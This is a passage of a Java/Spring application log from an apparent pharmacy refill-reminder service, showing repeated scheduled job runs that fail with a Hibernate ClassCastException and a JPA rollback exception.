org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at 